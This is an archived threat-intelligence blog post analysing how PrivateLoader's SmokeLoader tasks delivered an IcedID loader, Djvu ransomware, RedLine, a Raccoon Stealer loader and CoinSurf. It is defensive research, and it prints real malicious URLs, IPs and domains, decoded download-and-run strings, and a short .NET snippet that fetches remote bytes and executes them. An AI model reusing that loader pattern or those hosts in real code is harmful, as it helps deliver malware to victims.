

IcedID leverages PrivateLoader

By Jason Reaves

Published: 2022-08-04 · Archived: 2026-04-05 22:26:43 UTC



4 min read

Aug 4, 2022

By: Joshua Platt and Jason Reaves

Press enter or click to view image in full size



PrivateLoader[1,2,3,4] continues to function as an effective loading service, recently leveraging the use of SmokeLoader for their loads.

A recent sample of their SmokeLoader can be seen

here(b01195c3e828d9a79c958e4c810a363d804d51996337db89a5d248096846b27a), the C2 domains for the sample are a hallmark for PrivateLoader:

```
host-file-host6.com  
host-host-file8.com
```

These domains are simply proxies but behind them sits a massive operation performing millions of loads for various customers. Recently a new customer has started leveraging this service which caught our attention, in the aforementioned hash of SmokeLoader you can see all the tasks being ran:

Network Communication ⓘ

HTTP Requests

- + http://host-file-host6.com/
- + http://194.87.31.137/7loader_exe_64.exe
- + http://rgyui.top/dl/buildz.exe
- + http://2.58.28.60/csflow.exe

DNS Resolutions

- + deficulintersun.com
- + host-file-host6.com
- + dl.uploadgram.me
- + windowsupdatebg.s.llnwi.net
- + allejee.com
- + ravui.ton

Network Communication ⓘ

HTTP Requests

- + http://host-file-host6.com/
- + http://194.87.31.137/7loader_exe_64.exe
- + http://rgyui.top/dl/buildz.exe
- + http://2.58.28.60/csflow.exe

DNS Resolutions

- + deficulintersun.com
- + host-file-host6.com
- + dl.uploadgram.me
- + windowsupdatebg.s.llnwi.net
- + allejee.com
- + rgyui.top

IP Traffic

- 45.10.245.123:80 (TCP)
- 190.140.99.150:80 (TCP)
- 176.9.247.226:443 (TCP)
- 162.33.177.14:443 (TCP)
- 194.87.31.137:80 (TCP)
- 2.58.28.60:80 (TCP)

208.111.186.0:80 (TCP)

JA3 Digests

ce5f3254611a8c095a3d821d44539877

Ref: Virustotal.com

From the DNS resolutions we can see SmokeLoader checking in along with quite a lot of other activity, some of them are related to tasks for the bot to load but the domain 'deficulintersun[.]com' is the C2 for an IcedID loader. Luckily Zenbox on VirusTotal left us with a PCAP so we can decrypt the SmokeLoader traffic and hopefully recover the tasks.

SmokeLoader C2 Traffic

```
\xe4\x078F1CEBFF99E357584119ACFBC1B392A2383170A8\x00DESKTOP-B0T93D6\x00pub3\x00
```

So the group is pub3 and the version of the bot is 0x7e4 or 2020. The recovered tasks are as follows:

```
Location: http://rgyui.top/dl/buildz.exe  
Location: https://dl.uploadgram.me/62e817d1aff5ah?dl  
Location: https://allejee.com/bulking.exe  
Location: http://194.87.31.137/7loader_exe_64.exe  
Location: http://2.58.28.60/csflow.exe
```

SmokeLoader Tasks

The file I got from buildz.exe shows to be Djvu Ransomware, the more interesting part here is that the ransomware sample was crypted with the same crypter used for the SmokeLoader sample. Coupled with the fact that IcedID has been seen leading to ransomware itself, potentially a conflict of interest going on here between the service provider and their customers or competing customers?

Get Jason Reaves's stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Decoded Djvu strings:

```
http://acacaca.org/test1/get.php 2http://rgyui.top/dl/build2.exe$run http://acacaca.org/files/1/build3.exe$ru
```

The file from uploadgram, 62e817d1aff5ah, turns out be RedLine stealer:

```
{'C2': '193.233.193.14:8163', 'BOTNET': 'LogsDiller Cloud (Sup: @mr_gold)'}
```

The file from allejee was down at the time we found it but we did find same name files from that server in VirusTotal:

```
03626471a65baf211f2110cd91e52b9e44524780e042a473cd09d864d9af20a0
```

Which has ITW URLs from the same server in July:

Press enter or click to view image in full size

ITW Urls ⓘ

Scanned	Detections	Status	URL
2022-07-14	10 / 87	200	https://162.33.177.14/bulking.exe
2022-07-14	11 / 87	200	http://162.33.177.14/bulking.exe

Ref:

<https://www.virustotal.com/gui/file/03626471a65baf211f2110cd91e52b9e44524780e042a473cd09d864d9af20a0/relations>

This file is a self extracting EXE signed by 'Nir Sofer', the extracted EXE inside of it ends up being a simple .NET based loader which will download and execute more .NET code, eventually this leads to Racoon Stealer V2[5].

```
public Home1()  
{  
    this.ypg();  
    byte[] array = this.yph("https://4hmn.short.gy/QxX1of");  
    Array.Reverse(array, 0, array.Length);  
    this.myz = Assembly.Load(array);  
}
```

.NET based loader

The csflow.exe executable is an installer for CoinSurf which allows people to monetize their traffic usage.

Finally the 7loader_exe_64.exe file is an IcedID loader:

```
{'C2': 'deficulintersun.com', 'Campaign': 1514253643}
```

PrivateLoader is not new to having some bigger names leveraging it as previous research indicates it being leveraged by TrickBot, Qakbot, DanaBot and Dridex previously. The more pressing question is why these groups would leverage a system that is actively stealing data and dropping ransomware on top of their bots?

IOCs

SmokeBot tasks:

Press enter or click to view image in full size

Task	Malware
rgyui.top/dl/buildz.exe	Djvu Ransomware
dl.uploadgram.me/62e817d1aff5ah?dl	RedLine Stealer
allejee.com/bulking.exe	.NET loader for Raccoon Stealer V2
194.87.31.137/7loader_exe_64.exe	IcedID Loader
2.58.28.60/csflow.exe	CoinSurf Installer

Network indicators:

```
rgyui.top  
allejee.com  
194.87.31.137  
2.58.28.60  
host-file-host6.com  
host-host-file8.com  
64.52.80.224 - Raccoon Stealer  
deficulintersun.com - IcedID  
acacaca.org - Djvu Ransomware  
193.233.193.14:8163 - RedLine Stealer  
2.58.28.60/install.txt  
2.58.28.60/startup.txt
```

References

- 1: <https://intel471.com/blog/privateloader-malware>
- 2: <https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e>
- 3: <https://www.zscaler.com/blogs/security-research/peeking-privateloader>
- 4: <https://tavares.re/blog/2022/06/06/hunting-privateloader-pay-per-install-service/>
- 5: <https://www.bleepingcomputer.com/news/security/raccoon-stealer-is-back-with-a-new-version-to-steal-your-passwords/>

Source: <https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f>